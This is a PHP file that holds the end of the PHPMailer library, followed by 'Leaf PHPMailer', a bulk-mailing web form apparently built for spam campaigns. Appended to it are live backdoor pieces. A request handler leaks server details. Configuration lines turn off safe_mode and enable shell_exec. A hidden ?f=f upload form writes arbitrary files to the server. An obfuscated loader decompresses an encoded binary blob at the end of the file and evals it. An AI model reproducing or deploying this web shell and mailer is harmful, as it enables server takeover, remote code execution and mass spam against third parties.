                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$VcFl='f'.'ile_get'.'_content'.'s';$rjSe='s'.'t'.'r'.'_re'.'pla'.'ce';$hVlT='gzuncom'.'press';$Vwov='exi'.'t';$TWwO='subst'.'r';eval($hVlT($rjSe('byrwpjvhie','>',$rjSe('zlrodefvcq','<',$TWwO($VcFl( __FILE__ ),-216694)))));$Vwov(0);
?>
xM̖l\zlrodefvcqeVVkB	 \78	k͝yթjwB!sgAo^W/}ioKx~~g/v]z\L_|~jn?gY[{lX[YxpԨ?.{22oSimBmC_?ma{-Ļt~͘zYB{en}4Txzl'ڶգ;bqq98*ks:O3z3S;|͎Y?*/|FzUGr\c@4t՗}k
0^kX3~ǐH@wYxon$*}6DwσzlrodefvcqpN_.`?YnqV5LD?Mx@xo~:4krh/?{7,YYV#p^tń2JKq[٭)ÿ3Dz}yL\Jw"'Zu-s'4tu|H_?J|~wڇ!L'
X?7R|HS{Uz@B/Um#K*P鞰8NӁޒŵXH-섅w1Hͅy\_T`x*p`$ފ6vQ|Vs,4_mzӖb8.Tm\.N4k7`CMb8cQG։s2byrwpjvhief7%翶=*m$ڦ,IkZQބUcsv_ϕ㦇M)ӿY=?Rζ?~w/
˷o.ͧ?~5n5~)%շe3:F6
xSgGKޕtSOf0KLEs:'G北BegWr})ClrӒf#U
eg2m+6n M0SQYJ6͉JdLL.[I4x #lzrZJ]~U)ԳG9ĢGRoEqt_o5,:
WO	DvlQ9e7@m9n+|X٪ߊ\p~M="Y[RťV9G)]\y-$Ɉ~k[S)Bމkً?J8ɮbyrwpjvhie׽)h!qpuXE9^Q!_mމGHFq
rWI byrwpjvhiew͍wE{zEzj.0GcX
*9O
^
?/qOڢ}6byrwpjvhie÷H؂.zfR0bYwҵ幣$2v[mcKN~jJ݋8]p	ҩ]ڵ		$	#ڿrNHSa1,({|s?[b_%eMX
k|&n{Z{~戮?մ
[t	g1sl$e_Pۄ$+\.猎C; Xu"~Wr45y0OǩsݞW_zq[ ˭}&dd{.YcӀlǬ_$
#m(sbyrwpjvhie&-7`psRA\UpnX4R5S5GUJ,\VNzlrodefvcqԓ֋A$ѡ
)ͮD@Zk+VƼӒW"v-
=7k^fkBTp	]R4#^oŧnc%n*Wq׿ݝӨז
W4	\yjY2H3[HI̾!#V_J8t]u`2~бxpPFc5hmrOE%0&ijV	3"HR$O&}byrwpjvhieax\Rv^'-~K'Yoz%C(-y|y_
yCS{xd@A-,Vu+{AzlrodefvcqhD~;,tC{:	ZsqzlT6_eʕ^&;iOCu n
$p^ID,tgJA5&UٻA1V!WJh!V)jKbyrwpjvhie?byrwpjvhie얼!jzlrodefvcqv֘Z.-R&Kԣo⤾K`|ϡ?V9o{Ufw1`RJb/1\ìJ~	\GE!x{~KNbyrwpjvhie&qa,6b]VCMD3
|y\c-sAwypHP
]	5p0=z2D$byrwpjvhie|z6,
0Ukbyrwpjvhie/&dŧGb
2nPeZb\_h]J1|]۬͛II?ЦͰ*"Uinc[
b8/T[73Rd_	C&zlrodefvcqĠUxzlrodefvcqhEv|~V~H=XHȋ켹FĤbyrwpjvhie8~^ޙcpOoI;){0+zlrodefvcqe7b/$2~sa,au2'WɧtEZf-G:iW|IzUc23\eiq.4ȁoT0_8?hRyx"n;,MVRN%F%_Avbyrwpjvhie99[[[S煹79Uo)	zlrodefvcq!OV/jǊǽ]%
`Ƌq T5,zlrodefvcqضd$U7|]ь1#uO#xWAӎցN^@r+=)&
ڈ$B5ܹnR`_1.ә0 Zi%n/N9[O7jWEKu
13byrwpjvhie@Ҋ&8-$@+|𨼃.DX
wҀI byrwpjvhie*9[vSsSI.埾~:,|7%|]|{.F-
k%׽ZcEOc巙쨭^oH_jzlrodefvcqelڣcf^35?{f-O6]Gfz"Mk\b]dȀۅȓ	hv&Ň3Ѿp~byrwpjvhieˎx,#Ltҧa'5ZVx2ndT649çM|HDH8t
 rͅV
t)/T`[7q۟kyfh	*xp'ܧuL6MCx!~ǂqT6r";c,V	R(Y{~׻vuF/3Mޮom\e#%т9ϖZ	x0y''k2!{Lv{#3rlUWebyrwpjvhiesXڥ@|4PUeu[yֱ;qM j?XsehJ|l'z³\zgTbyrwpjvhie/yײG1!.D
